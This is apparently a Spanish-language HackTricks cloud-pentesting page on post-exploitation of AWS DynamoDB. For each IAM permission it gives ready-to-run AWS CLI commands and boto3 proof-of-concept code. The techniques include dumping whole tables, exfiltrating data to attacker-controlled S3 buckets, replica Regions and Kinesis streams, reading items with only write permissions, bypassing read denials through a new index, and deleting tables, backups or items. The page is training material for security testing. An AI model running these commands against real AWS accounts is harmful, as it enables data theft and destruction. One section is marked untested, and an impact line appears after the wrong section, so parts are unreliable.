# AWS - DynamoDB Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Para más información consulta: {{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas obteniendo los metadatos de la tabla (`describe-table`). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:GetItem` **De manera similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` Con este permiso también es posible usar el método **`transact-get-items`** como: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Impacto potencial:** privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Query` **Similar a los permisos anteriores**, este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una solicitud. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:Scan` Puedes usar este permiso para **dump the entire table easily**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:PartiQLSelect` Puedes usar este permiso para **dump la tabla completa fácilmente**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` Este permiso también permite realizar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil. **Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` Este permiso permitirá a un atacante **exportar la tabla completa a un S3 bucket** de su elección: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Ten en cuenta que para que esto funcione, la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` Si no está habilitado, necesitarás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` Con estos permisos, un atacante podría **crear una nueva tabla a partir de un backup** (o incluso crear un backup para luego restaurarlo en una tabla diferente). Entonces, con los permisos necesarios, podría comprobar **información** de los backups que **ya no podrían estar en la tabla de producción**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Impacto potencial:** privesc indirecto al localizar información sensible en la copia de seguridad de la tabla ### `dynamodb:PutItem` Este permiso permite a los usuarios añadir un **nuevo elemento a la tabla o reemplazar un elemento existente** por uno nuevo. Si un elemento con la misma clave primaria ya existe, el **elemento completo será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder añadir/modificar datos en una tabla de DynamoDB ### `dynamodb:UpdateItem` Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o añadir nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:DeleteTable` Un atacante con este permiso puede **eliminar una tabla de DynamoDB, causando pérdida de datos**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Impacto potencial**: Pérdida de datos e interrupción de los servicios que dependen de la tabla eliminada. ### `dynamodb:DeleteBackup` Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría provocar pérdida de datos en caso de un escenario de recuperación ante desastres**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Impacto potencial**: Pérdida de datos e incapacidad para recuperarse desde una copia de seguridad durante un escenario de recuperación ante desastres. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Probar si esto funciona realmente Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para supervisar los cambios en la tabla en tiempo real**. Esto permite al atacante supervisar y exfiltrate los cambios de datos, lo que potencialmente conduce a data leakage. 1. Habilitar un stream en una tabla de DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Describe el stream para obtener el ARN y otros detalles: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Obtén el shard iterator usando el ARN del stream: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. Usa el shard iterator para acceder y exfiltrate datos del stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios en la tabla DynamoDB. ### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD` Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa previa a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs). - Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo. - Requisitos previos: Debes conocer la clave primaria del item. Ejemplo (añade un atributo inofensivo y exfiltra el item previo en la respuesta): ```bash aws dynamodb update-item \ --table-name \ --key '{"":{"S":""}}' \ --update-expression 'SET #m = :v' \ --expression-attribute-names '{"#m":"exfil_marker"}' \ --expression-attribute-values '{":v":{"S":"1"}}' \ --return-values ALL_OLD \ --region ``` La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde acceso solo-escritura. **Impacto potencial:** Leer items arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltration de datos sensibles cuando se conocen las claves primarias. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` Stealth exfiltration al añadir una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, la tabla completa se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los items. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} ```bash # Add a new replica Region (from primary Region) aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": ""}}]' \ --region # Wait until the replica table becomes ACTIVE in the replica Region aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' # Exfiltrate by reading from the replica Region aws dynamodb scan --table-name --region ``` {{#endtab }} {{#tab name="PoC (customer-managed KMS)" }} ```bash # Specify the CMK to use in the replica Region aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ --region ``` {{#endtab }} {{#endtabs }} Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa una CMK en la réplica, pueden requerirse permisos de KMS para esa clave. Impacto potencial: Replicación de toda la tabla a una Región controlada por el atacante, lo que permite la exfiltración sigilosa de datos. ### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un elemento existente realizando un `Update` dentro de `TransactWriteItems` que intencionalmente hace fallar una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al fallar, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso únicamente de escritura en acceso de lectura de las claves objetivo. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} ```bash # Create the transaction input (list form for --transact-items) cat > /tmp/tx_items.json << 'JSON' [ { "Update": { "TableName": "", "Key": {"": {"S": ""}}, "UpdateExpression": "SET #m = :v", "ExpressionAttributeNames": {"#m": "marker"}, "ExpressionAttributeValues": {":v": {"S": "x"}}, "ConditionExpression": "attribute_not_exists()", "ReturnValuesOnConditionCheckFailure": "ALL_OLD" } } ] JSON # Execute. Newer AWS CLI versions support returning cancellation reasons aws dynamodb transact-write-items \ --transact-items file:///tmp/tx_items.json \ --region \ --return-cancellation-reasons # The command fails with TransactionCanceledException; parse cancellationReasons[0].Item ``` {{#endtab }} {{#tab name="PoC (boto3)" }} ```python import boto3 c=boto3.client('dynamodb',region_name='') try: c.transact_write_items(TransactItems=[{ 'Update': { 'TableName':'', 'Key':{'':{'S':''}}, 'UpdateExpression':'SET #m = :v', 'ExpressionAttributeNames':{'#m':'marker'}, 'ExpressionAttributeValues':{':v':{'S':'x'}}, 'ConditionExpression':'attribute_not_exists()', 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) except c.exceptions.TransactionCanceledException as e: print(e.response['CancellationReasons'][0]['Item']) ``` {{#endtab }} {{#endtabs }} Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura. Impacto potencial: Leer items arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI Eludir las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, establecer ese atributo a un valor constante en los items, y luego `Query` el índice para recuperar los items completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice. - Permisos mínimos: - `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`). - `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada item). - `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:::table//index/`). Pasos (PoC en us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 for i in 1 2 3 4 5; do \ aws dynamodb put-item --table-name HTXIdx \ --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ --region us-east-1; done # 2) Add GSI on attribute X with ProjectionType=ALL aws dynamodb update-table --table-name HTXIdx \ --attribute-definitions AttributeName=X,AttributeType=S \ --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ --region us-east-1 # Wait for index to become ACTIVE aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' # 3) Set X="dump" for each item (only UpdateItem on known keys) for i in 1 2 3 4 5; do \ aws dynamodb update-item --table-name HTXIdx \ --key "{\"id\":{\"S\":\"$i\"}}" \ --update-expression 'SET #x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1; done # 4) Query the index by the constant value to retrieve full items aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --key-condition-expression '#x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` **Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas. ### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams) Abusar de las Kinesis streaming destinations de DynamoDB para exfiltrar de forma continua los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía en casi tiempo real al stream sin necesitar permisos de lectura sobre la tabla. Permisos mínimos (atacante): - `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo - Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado - Permisos de lectura sobre el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}} # 2) Create attacker Kinesis Data Stream aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 # 3) Enable the DynamoDB -> Kinesis streaming destination STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 # Optionally wait until ACTIVE aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus # 4) Generate changes on the table aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item2.json --region us-east-1 # /tmp/htx_item2.json # {"id":{"S":"a2"},"secret":{"S":"s-2"}} aws dynamodb update-item --table-name HTXKStream \ --key file:///tmp/htx_key_a1.json \ --update-expression "SET #i = :v" \ --expression-attribute-names {#i:info} \ --expression-attribute-values {:v:{S:updated}} \ --region us-east-1 # /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} # 5) Consume from Kinesis to observe DynamoDB images SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ --query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json # Decode one record (Data is base64-encoded) jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . # 6) Cleanup (recommended) aws dynamodb disable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando TTL. Cuando TTL está habilitado, los items individuales que contienen el atributo TTL configurado se eliminarán automáticamente una vez alcanzado su tiempo de expiración. El valor TTL es simplemente otro atributo en cada item; los items sin ese atributo no se ven afectados por la eliminación basada en TTL. Si los items no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar items (por ejemplo dynamodb:UpdateItem) para añadir el atributo TTL y desencadenar eliminaciones masivas. Primero habilita TTL en la tabla, especificando el nombre del atributo a usar para la expiración: ```bash aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` A continuación, actualiza los items para agregar el atributo TTL (epoch seconds) para que expiren y sean eliminados: ```bash aws dynamodb update-item \ --table-name \ --key '' \ --update-expression "SET = :t" \ --expression-attribute-values '{":t":{"N":""}}' ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` Un atacante con permisos dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos. Restaurar una tabla de DynamoDB desde un backup on-demand: ```bash aws dynamodb restore-table-from-backup \ --target-table-name \ --backup-arn ``` Restaurar una tabla de DynamoDB a un punto en el tiempo (crear una nueva tabla con el estado restaurado): ```bash aws dynamodb restore-table-to-point-in-time \ --source-table-name \ --target-table-name \ --use-latest-restorable-time ````
**Potential Impact:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un stream de Kinesis controlado por un atacante sin operaciones de lectura directa sobre la tabla. {{#include ../../../../banners/hacktricks-training.md}}